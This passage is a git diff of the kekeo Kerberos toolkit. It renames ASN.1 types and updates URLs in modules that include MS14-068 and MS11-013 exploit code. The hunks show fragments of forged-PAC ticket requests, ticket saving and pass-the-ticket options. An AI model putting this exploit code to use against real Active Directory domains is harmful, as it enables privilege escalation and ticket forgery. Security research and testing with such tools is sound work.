@@ -274,7 +274,7 @@ BOOL kuhl_m_kerberos_pac_to_infos(PPACTYPE pacType, DWORD pacLenght, PISID *sid,
return status;
}
-void kuhl_m_kerberos_pac_info_data(PPACTYPE pacType, DWORD pacLenght, EncryptionKey *AsRepKey)
+void kuhl_m_kerberos_pac_info_data(PPACTYPE pacType, DWORD pacLenght, KULL_M_ASN1_EncryptionKey *AsRepKey)
{
DWORD i, j;
PKERB_VALIDATION_INFO pValInfo = NULL;
@@ -398,7 +398,7 @@ void kuhl_m_kerberos_pac_info_data(PPACTYPE pacType, DWORD pacLenght, Encryption
}
const UNICODE_STRING NTLM_PACKAGE_NAME = {8, 8, L"NTLM"};
-void kuhl_m_kerberos_pac_info_data_credentialinfo(PPAC_CREDENTIAL_INFO pCredentialInfo, ULONG uCredentialInfo, EncryptionKey *AsRepKey)
+void kuhl_m_kerberos_pac_info_data_credentialinfo(PPAC_CREDENTIAL_INFO pCredentialInfo, ULONG uCredentialInfo, KULL_M_ASN1_EncryptionKey *AsRepKey)
{
NTSTATUS ntStatus;
DWORD i;
diff --git a/kekeo/modules/kerberos/kuhl_m_kerberos_pac.h b/kekeo/modules/kerberos/kuhl_m_kerberos_pac.h
index 473fe23..8c108c9 100644
--- a/kekeo/modules/kerberos/kuhl_m_kerberos_pac.h
+++ b/kekeo/modules/kerberos/kuhl_m_kerberos_pac.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -30,5 +30,5 @@ BOOL kuhl_m_pac_stringToGroups(PCWSTR szGroups, PGROUP_MEMBERSHIP *groups, DWORD
BOOL kuhl_m_pac_stringToSids(PCWSTR szSids, PKERB_SID_AND_ATTRIBUTES *sids, DWORD *cbSids);
BOOL kuhl_m_kerberos_pac_to_infos(PPACTYPE pacType, DWORD pacLenght, PISID *sid, DWORD *rid);
-void kuhl_m_kerberos_pac_info_data(PPACTYPE pacType, DWORD pacLenght, EncryptionKey *AsRepKey);
-void kuhl_m_kerberos_pac_info_data_credentialinfo(PPAC_CREDENTIAL_INFO pCredentialInfo, ULONG uCredentialInfo, EncryptionKey *AsRepKey);
\ No newline at end of file
+void kuhl_m_kerberos_pac_info_data(PPACTYPE pacType, DWORD pacLenght, KULL_M_ASN1_EncryptionKey *AsRepKey);
+void kuhl_m_kerberos_pac_info_data_credentialinfo(PPAC_CREDENTIAL_INFO pCredentialInfo, ULONG uCredentialInfo, KULL_M_ASN1_EncryptionKey *AsRepKey);
\ No newline at end of file
diff --git a/kekeo/modules/kuhl_m.h b/kekeo/modules/kuhl_m.h
index f6ab4bc..6235fff 100644
--- a/kekeo/modules/kuhl_m.h
+++ b/kekeo/modules/kuhl_m.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kuhl_m_exploit.c b/kekeo/modules/kuhl_m_exploit.c
index 9d55842..8544615 100644
--- a/kekeo/modules/kuhl_m_exploit.c
+++ b/kekeo/modules/kuhl_m_exploit.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -20,8 +20,8 @@ NTSTATUS kuhl_m_exploit_ms14068(int argc, wchar_t * argv[])
PKULL_M_SOCK socket;
KULL_M_SOCK dstSocket;
OssBuf TgsReq2 = {0, NULL};
- TGS_REP *TgsRep, *TgsRep2 = NULL;
- EncTGSRepPart *encTgsRepPart, *encTgsRepPart2 = NULL;
+ KULL_M_ASN1_TGS_REP *TgsRep, *TgsRep2 = NULL;
+ KULL_M_ASN1_EncTGSRepPart *encTgsRepPart, *encTgsRepPart2 = NULL;
PKIWI_AUTH_INFOS infos;
RPC_AUTH_IDENTITY_HANDLE hAuth;
HANDLE hDS;
@@ -42,18 +42,18 @@ NTSTATUS kuhl_m_exploit_ms14068(int argc, wchar_t * argv[])
{
if(!kull_m_string_args_byName(argc, argv, L"kdc", NULL, NULL))
kprintf(L"[DCSs] No KDC specified, neither user password: using default KDC\n");
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq2, (LPVOID *) &TgsRep2, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq2, (LPVOID *) &TgsRep2, KULL_M_ASN1_TGS_REP_PDU))
{
- if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep2, &encTgsRepPart->key, EncTGSRepPart_PDU, &encTgsRepPart2))
+ if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep2, &encTgsRepPart->key, KULL_M_ASN1_EncTGSRepPart_PDU, &encTgsRepPart2))
{
if(postname = kuhl_m_exploit_ms14068_getname(L"(ms14068)", socket->servername))
{
kull_m_kerberos_asn1_KdcRep_save(TgsRep2, encTgsRepPart2, NULL, postname, callback);
LocalFree(postname);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPart2);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart2);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep2);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep2);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, TgsReq2.value);
}
@@ -78,18 +78,18 @@ NTSTATUS kuhl_m_exploit_ms14068(int argc, wchar_t * argv[])
{
if(kull_m_sock_connect(&dstSocket))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(&dstSocket, &TgsReq2, (LPVOID *) &TgsRep2, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(&dstSocket, &TgsReq2, (LPVOID *) &TgsRep2, KULL_M_ASN1_TGS_REP_PDU))
{
- if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep2, &encTgsRepPart->key, EncTGSRepPart_PDU, &encTgsRepPart2))
+ if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep2, &encTgsRepPart->key, KULL_M_ASN1_EncTGSRepPart_PDU, &encTgsRepPart2))
{
if(postname = kuhl_m_exploit_ms14068_getname(L"(ms14068)", dcInfos[i].NetbiosName))
{
isSuccess = kull_m_kerberos_asn1_KdcRep_save(TgsRep2, encTgsRepPart2, NULL, postname, callback);
LocalFree(postname);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPart2);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart2);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep2);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep2);
}
}
kull_m_sock_termSocket(&dstSocket);
@@ -114,8 +114,8 @@ NTSTATUS kuhl_m_exploit_ms14068(int argc, wchar_t * argv[])
else PRINT_ERROR(L"DsMakePasswordCredentials: %08x\n", i);
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPart);
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep);
kull_m_kerberos_asn1_Authinfos_delete(infos);
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
@@ -145,19 +145,19 @@ PWSTR kuhl_m_exploit_ms14068_getname(PCWSTR pre, PCWSTR post)
return result;
}
-BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], TGS_REP **TgsRep, EncTGSRepPart **encTgsRepPart, PCWSTR szService, PKIWI_AUTH_INFOS *reuseinfos, PKULL_M_SOCK *reusesocket)
+BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], KULL_M_ASN1_TGS_REP **TgsRep, KULL_M_ASN1_EncTGSRepPart **encTgsRepPart, PCWSTR szService, PKIWI_AUTH_INFOS *reuseinfos, PKULL_M_SOCK *reusesocket)
{
BOOL status = FALSE;
PKIWI_AUTH_INFOS infos;
PKULL_M_SOCK socket;
- AS_REP *AsRep = NULL;
- EncASRepPart *encAsRepPart = NULL;
- _octet1 pac = {0, NULL};
+ KULL_M_ASN1_AS_REP *AsRep = NULL;
+ KULL_M_ASN1_EncASRepPart *encAsRepPart = NULL;
+ KULL_M_ASN1__octet1 pac = {0, NULL};
OssBuf TgsReq = {0, NULL};
PWSTR dupService, nextSetToken, SetToken;
- PrincipalName pService;
- TGS_REP *TgsRepService = NULL;
- EncTGSRepPart *encTgsRepPartService = NULL;
+ KULL_M_ASN1_PrincipalName pService;
+ KULL_M_ASN1_TGS_REP *TgsRepService = NULL;
+ KULL_M_ASN1_EncTGSRepPart *encTgsRepPartService = NULL;
PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback = NULL;
if(kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL))
@@ -177,10 +177,10 @@ BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], TGS_REP **TgsRep, Enc
*encTgsRepPart = NULL;
if(kull_m_kerberos_asn1_TgsReq_build(&TgsReq, &AsRep->cname, AsRep->crealm, &encAsRepPart->sname, NULL, 0, &AsRep->ticket, &encAsRepPart->key, NULL, &pac, NULL))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) TgsRep, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) TgsRep, KULL_M_ASN1_TGS_REP_PDU))
{
- if(!(status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(*TgsRep, &encAsRepPart->key, EncTGSRepPart_PDU, encTgsRepPart)))
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, *TgsRep);
+ if(!(status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(*TgsRep, &encAsRepPart->key, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart)))
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, *TgsRep);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, TgsReq.value);
}
@@ -197,14 +197,14 @@ BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], TGS_REP **TgsRep, Enc
kprintf(L"\n");
if(kull_m_kerberos_asn1_TgsReq_build(&TgsReq, &AsRep->cname, AsRep->crealm, &pService, NULL, 0, &AsRep->ticket, &encAsRepPart->key, NULL, NULL, NULL))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRepService, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRepService, KULL_M_ASN1_TGS_REP_PDU))
{
- if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRepService, &encAsRepPart->key, EncTGSRepPart_PDU, &encTgsRepPartService))
+ if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRepService, &encAsRepPart->key, KULL_M_ASN1_EncTGSRepPart_PDU, &encTgsRepPartService))
{
kull_m_kerberos_asn1_KdcRep_save(TgsRepService, encTgsRepPartService, NULL, L"_(ms11013)", callback);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPartService);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPartService);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRepService);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRepService);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, TgsReq.value);
}
@@ -215,8 +215,8 @@ BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], TGS_REP **TgsRep, Enc
}
}
else PRINT_ERROR(L"Unable to build a PAC\n");
- ossFreePDU(&kull_m_kerberos_asn1_world, EncASRepPart_PDU, encAsRepPart);
- ossFreePDU(&kull_m_kerberos_asn1_world, AS_REP_PDU, AsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncASRepPart_PDU, encAsRepPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REP_PDU, AsRep);
}
if(reusesocket)
*reusesocket = socket;
@@ -229,7 +229,7 @@ BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], TGS_REP **TgsRep, Enc
return status;
}
-BOOL kuhl_m_exploit_give_pac(int argc, wchar_t * argv[], KerberosTime *authtime, PKIWI_AUTH_INFOS infos, PKULL_M_SOCK socket, _octet1 *pac)
+BOOL kuhl_m_exploit_give_pac(int argc, wchar_t * argv[], KULL_M_ASN1_KerberosTime *authtime, PKIWI_AUTH_INFOS infos, PKULL_M_SOCK socket, KULL_M_ASN1__octet1 *pac)
{
PCWSTR szData;
PISID sid = NULL;
@@ -240,11 +240,11 @@ BOOL kuhl_m_exploit_give_pac(int argc, wchar_t * argv[], KerberosTime *authtime,
PKERB_VALIDATION_INFO validationInfo;
FILETIME ftAuthTime;
- AS_REP *asrep = NULL;
- EncKDCRepPart *enckdcreppart = NULL;
+ KULL_M_ASN1_AS_REP *asrep = NULL;
+ KULL_M_ASN1_EncKDCRepPart *enckdcreppart = NULL;
OssBuf TgsReq = {0, NULL};
- TGS_REP *TgsRep = NULL;
- _octet1 tmpPac;
+ KULL_M_ASN1_TGS_REP *TgsRep = NULL;
+ KULL_M_ASN1__octet1 tmpPac;
BOOL oldNeedPac;
pac->length = 0;
@@ -269,7 +269,7 @@ BOOL kuhl_m_exploit_give_pac(int argc, wchar_t * argv[], KerberosTime *authtime,
{
if(kull_m_kerberos_asn1_TgsReq_build(&TgsReq, &asrep->cname, asrep->crealm, &asrep->cname, NULL, KERB_KDCOPTION_standard | KERB_KDCOPTION_enc_tkt_in_skey, &asrep->ticket, &enckdcreppart->key, &asrep->ticket, NULL, NULL))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, KULL_M_ASN1_TGS_REP_PDU))
{
if(kull_m_kerberos_asn1_PAC_from_EncTicketPart(&enckdcreppart->key, &TgsRep->ticket.enc_part, &tmpPac))
{
@@ -279,12 +279,12 @@ BOOL kuhl_m_exploit_give_pac(int argc, wchar_t * argv[], KerberosTime *authtime,
LocalFree(tmpPac.value);
}
else PRINT_ERROR(L"No PAC found\n");
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, TgsReq.value);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncASRepPart_PDU, enckdcreppart);
- ossFreePDU(&kull_m_kerberos_asn1_world, AS_REP_PDU, asrep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncASRepPart_PDU, enckdcreppart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REP_PDU, asrep);
}
infos->needPac = oldNeedPac;
}
diff --git a/kekeo/modules/kuhl_m_exploit.h b/kekeo/modules/kuhl_m_exploit.h
index 1426e49..242bf56 100644
--- a/kekeo/modules/kuhl_m_exploit.h
+++ b/kekeo/modules/kuhl_m_exploit.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -19,8 +19,8 @@ NTSTATUS kuhl_m_exploit_ms11013(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_exploit_cve20177494(int argc, wchar_t * argv[]);
PWSTR kuhl_m_exploit_ms14068_getname(PCWSTR pre, PCWSTR post);
-BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], TGS_REP **TgsRep, EncTGSRepPart **encTgsRepPart, PCWSTR szService, PKIWI_AUTH_INFOS *reuseinfos, PKULL_M_SOCK *reusesocket);
-BOOL kuhl_m_exploit_give_pac(int argc, wchar_t * argv[], KerberosTime *authtime, PKIWI_AUTH_INFOS infos, PKULL_M_SOCK socket, _octet1 *pac);
+BOOL kuhl_m_exploit_generic_ms(int argc, wchar_t * argv[], KULL_M_ASN1_TGS_REP **TgsRep, KULL_M_ASN1_EncTGSRepPart **encTgsRepPart, PCWSTR szService, PKIWI_AUTH_INFOS *reuseinfos, PKULL_M_SOCK *reusesocket);
+BOOL kuhl_m_exploit_give_pac(int argc, wchar_t * argv[], KULL_M_ASN1_KerberosTime *authtime, PKIWI_AUTH_INFOS infos, PKULL_M_SOCK socket, KULL_M_ASN1__octet1 *pac);
PWSTR kuhl_m_exploit_cve20177494_getDestFilename(LPCWSTR filename, LPCWSTR servername, LPCWSTR share);
PWSTR kuhl_m_exploit_cve20177494_getRemoteLocalFilename(LPCWSTR filename, LPWSTR path);
diff --git a/kekeo/modules/kuhl_m_misc.c b/kekeo/modules/kuhl_m_misc.c
index 1537b32..4e2160c 100644
--- a/kekeo/modules/kuhl_m_misc.c
+++ b/kekeo/modules/kuhl_m_misc.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -23,18 +23,18 @@ NTSTATUS kuhl_m_misc_changepw(int argc, wchar_t * argv[])
PWSTR domain;
PKULL_M_SOCK socket;
- KRB_CRED *KrbCred = NULL;
- EncKrbCredPart *encKrbCred = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL;
+ KULL_M_ASN1_EncKrbCredPart *encKrbCred = NULL;
- AP_REP *ApRep = NULL;
- KRB_PRIV *KrbPriv = NULL;
- EncKrbPrivPart *encKrbPrivPart = NULL;
- EncryptionKey authKey;
- UInt32 seq;
+ KULL_M_ASN1_AP_REP *ApRep = NULL;
+ KULL_M_ASN1_KRB_PRIV *KrbPriv = NULL;
+ KULL_M_ASN1_EncKrbPrivPart *encKrbPrivPart = NULL;
+ KULL_M_ASN1_EncryptionKey authKey;
+ KULL_M_ASN1_UInt32 seq;
OssBuf ApReq = {0, NULL}, KrbPrivReq = {0, NULL};
USHORT version;
- _octet1 data;
+ KULL_M_ASN1__octet1 data;
if(kull_m_string_args_byName(argc, argv, L"tgt", &szData, NULL))
{
@@ -57,10 +57,10 @@ NTSTATUS kuhl_m_misc_changepw(int argc, wchar_t * argv[])
{
kprintf(L"[changepw] ");
kull_m_kadmin_passwd_retFromKadmin(&encKrbPrivPart->user_data);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbPrivPart_PDU, encKrbPrivPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbPrivPart_PDU, encKrbPrivPart);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_PRIV_PDU, KrbPriv);
- ossFreePDU(&kull_m_kerberos_asn1_world, AP_REP_PDU, ApRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_PRIV_PDU, KrbPriv);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AP_REP_PDU, ApRep);
}
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
@@ -73,8 +73,8 @@ NTSTATUS kuhl_m_misc_changepw(int argc, wchar_t * argv[])
LocalFree(data.value);
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCred);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred);
}
}
else PRINT_ERROR(L"A TGT is needed ( /tgt:filename.kirbi )\n");
@@ -100,7 +100,7 @@ PCWSTR kull_m_kadmin_passwd_err_to_string(DWORD id)
return L"ERROR ?";
}
-void kull_m_kadmin_passwd_retFromKadmin(_octet1 * data)
+void kull_m_kadmin_passwd_retFromKadmin(KULL_M_ASN1__octet1 * data)
{
WORD code;
if(data->length >= 2)
@@ -130,7 +130,7 @@ NTSTATUS kuhl_m_misc_convert(int argc, wchar_t * argv[])
DWORD i, j;
KERB_FORMAT_MODULE const * readModule, * writeModule;
OssBuf input, output = {0, NULL};
- KRB_CRED *cred = NULL, *dst = NULL;
+ KULL_M_ASN1_KRB_CRED *cred = NULL, *dst = NULL;
BOOL explodeIt;
if(argc > 1)
@@ -179,7 +179,7 @@ NTSTATUS kuhl_m_misc_convert(int argc, wchar_t * argv[])
if(readModule->readData && readModule->readData(&input, &cred))
{
addCred(cred, &dst);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, cred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, cred);
}
else kprintf(L": error when reading!");
}
@@ -193,7 +193,7 @@ NTSTATUS kuhl_m_misc_convert(int argc, wchar_t * argv[])
if(dst)
{
writeData(writeModule, explodeIt, dst);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, dst);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, dst);
}
}
}
@@ -469,10 +469,10 @@ NTSTATUS kuhl_m_misc_keytab(int argc, wchar_t * argv[])
{
PKIWI_AUTH_INFOS infos;
PKULL_M_SOCK socket;
- KRB_ERROR *error = NULL;
+ KULL_M_ASN1_KRB_ERROR *error = NULL;
UNICODE_STRING uPassword, uSalt;
- _octet1 padata;
- EncryptionKey key = {KERB_ETYPE_AES256_CTS_HMAC_SHA1_96, {0, NULL}};
+ KULL_M_ASN1__octet1 padata;
+ KULL_M_ASN1_EncryptionKey key = {KERB_ETYPE_AES256_CTS_HMAC_SHA1_96, {0, NULL}};
LPCWSTR filename = NULL;
if(infos = kull_m_kerberos_asn1_Authinfos_create(argc, argv))
@@ -481,11 +481,11 @@ NTSTATUS kuhl_m_misc_keytab(int argc, wchar_t * argv[])
kull_m_string_args_byName(argc, argv, L"kt", &filename, NULL);
if(socket = kull_m_kerberos_asn1_net_AddressSocket_create(infos->w_realm, KERBEROS_DEFAULT_PORT, argc, argv, TRUE))
{
- if(kull_m_kerberos_asn1_AsReqGenericRep(infos, socket, NULL, NULL, KRB_ERROR_PDU, (LPVOID *) &error))
+ if(kull_m_kerberos_asn1_AsReqGenericRep(infos, socket, NULL, NULL, KULL_M_ASN1_KRB_ERROR_PDU, (LPVOID *) &error))
{
if(error->error_code == 25 /*KDC_ERR_PREAUTH_REQUIRED*/)
{
- if(error->bit_mask & e_data_present)
+ if(error->bit_mask & KULL_M_ASN1_e_data_present)
{
if(kuhl_m_misc_keytab_padata_from_edata(&error->e_data, PA_TYPE_ETYPE_INFO2, &padata))
{
@@ -512,7 +512,7 @@ NTSTATUS kuhl_m_misc_keytab(int argc, wchar_t * argv[])
kull_m_kerberos_asn1_KerberosTime_print(&error->stime);
kprintf(L"\n");
}
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_ERROR_PDU, error);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_ERROR_PDU, error);
}
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
@@ -521,11 +521,11 @@ NTSTATUS kuhl_m_misc_keytab(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}
-BOOL kuhl_m_misc_keytab_salt_from_info2(_octet1 *info2, Int32 etype, PUNICODE_STRING salt)
+BOOL kuhl_m_misc_keytab_salt_from_info2(KULL_M_ASN1__octet1 *info2, KULL_M_ASN1_Int32 etype, PUNICODE_STRING salt)
{
BOOL status = FALSE;
- int pdu = ETYPE_INFO2_PDU;
- ETYPE_INFO2 *einfos = NULL, curEInfos;
+ int pdu = KULL_M_ASN1_ETYPE_INFO2_PDU;
+ KULL_M_ASN1_ETYPE_INFO2 *einfos = NULL, curEInfos;
ANSI_STRING aSalt;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pdu, (OssBuf *) info2, (LPVOID *) &einfos))
@@ -542,7 +542,7 @@ BOOL kuhl_m_misc_keytab_salt_from_info2(_octet1 *info2, Int32 etype, PUNICODE_ST
break;
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, ETYPE_INFO2_PDU, einfos);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_ETYPE_INFO2_PDU, einfos);
if(!status)
PRINT_ERROR(L"Unable to get a salt or ETYPE_INFO2 entry for %i\n", etype);
}
@@ -550,11 +550,11 @@ BOOL kuhl_m_misc_keytab_salt_from_info2(_octet1 *info2, Int32 etype, PUNICODE_ST
return status;
}
-BOOL kuhl_m_misc_keytab_padata_from_edata(_octet1 *e_data, Int32 type, _octet1 *padata)
+BOOL kuhl_m_misc_keytab_padata_from_edata(KULL_M_ASN1__octet1 *e_data, KULL_M_ASN1_Int32 type, KULL_M_ASN1__octet1 *padata)
{
BOOL status = FALSE;
- int pdu = METHOD_DATA_PDU;
- METHOD_DATA *methods = NULL, curMethod;
+ int pdu = KULL_M_ASN1_METHOD_DATA_PDU;
+ KULL_M_ASN1_METHOD_DATA *methods = NULL, curMethod;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pdu, (OssBuf *) e_data, (LPVOID *) &methods))
{
@@ -571,7 +571,7 @@ BOOL kuhl_m_misc_keytab_padata_from_edata(_octet1 *e_data, Int32 type, _octet1 *
break;
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, METHOD_DATA_PDU, methods);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_METHOD_DATA_PDU, methods);
if(!status)
PRINT_ERROR(L"Unable to get a PA_DATA entry for %i\n", type);
}
@@ -579,7 +579,7 @@ BOOL kuhl_m_misc_keytab_padata_from_edata(_octet1 *e_data, Int32 type, _octet1 *
return status;
}
-BOOL kuhl_m_misc_keytab_ekey_with_salt(LPCWSTR password, PCUNICODE_STRING salt, EncryptionKey *ekey)
+BOOL kuhl_m_misc_keytab_ekey_with_salt(LPCWSTR password, PCUNICODE_STRING salt, KULL_M_ASN1_EncryptionKey *ekey)
{
NTSTATUS nStatus;
PKERB_ECRYPT pCSystem;
@@ -603,13 +603,13 @@ BOOL kuhl_m_misc_keytab_ekey_with_salt(LPCWSTR password, PCUNICODE_STRING salt,
return NT_SUCCESS(nStatus);
}
-BOOL kuhl_m_misc_keytab_tofile(PKIWI_AUTH_INFOS infos, EncryptionKey *key, LPCWSTR filename)
+BOOL kuhl_m_misc_keytab_tofile(PKIWI_AUTH_INFOS infos, KULL_M_ASN1_EncryptionKey *key, LPCWSTR filename)
{
BOOL status = FALSE;
WORD components, componentsLen, realmLen;
DWORD structLen;
__time32_t timestamp;
- struct _seqof1 *names;
+ struct KULL_M_ASN1__seqof1 *names;
PBYTE myStruct, myPtr;
for(components = 0, componentsLen = 0, names = infos->cname.name_string; names; components++, componentsLen += lstrlenA(names->value), names = names->next);
diff --git a/kekeo/modules/kuhl_m_misc.h b/kekeo/modules/kuhl_m_misc.h
index 6955d3f..16da33d 100644
--- a/kekeo/modules/kuhl_m_misc.h
+++ b/kekeo/modules/kuhl_m_misc.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -27,7 +27,7 @@ typedef struct _KULL_M_KADMIN_PASSWD_ERR{
} KULL_M_KADMIN_PASSWD_ERR, *PKULL_M_KADMIN_PASSWD_ERR;
PCWSTR kull_m_kadmin_passwd_err_to_string(DWORD id);
-void kull_m_kadmin_passwd_retFromKadmin(_octet1 * data);
+void kull_m_kadmin_passwd_retFromKadmin(KULL_M_ASN1__octet1 * data);
#define DIRTY_ASN1_ID_GENERAL_STRING 0x1b
#define DIRTY_ASN1_ID_GENERALIZED_TIME 0x18
@@ -47,10 +47,10 @@ BOOL kuhl_m_misc_storm_add(PCUNICODE_STRING name);
PBERVAL kuhl_m_misc_storm_giveBERForUser(PCANSI_STRING user);
DWORD kuhl_m_misc_storm_giveUsersForServer(PCWSTR server);
-BOOL kuhl_m_misc_keytab_salt_from_info2(_octet1 *info2, Int32 etype, PUNICODE_STRING salt);
-BOOL kuhl_m_misc_keytab_padata_from_edata(_octet1 *e_data, Int32 type, _octet1 *padata);
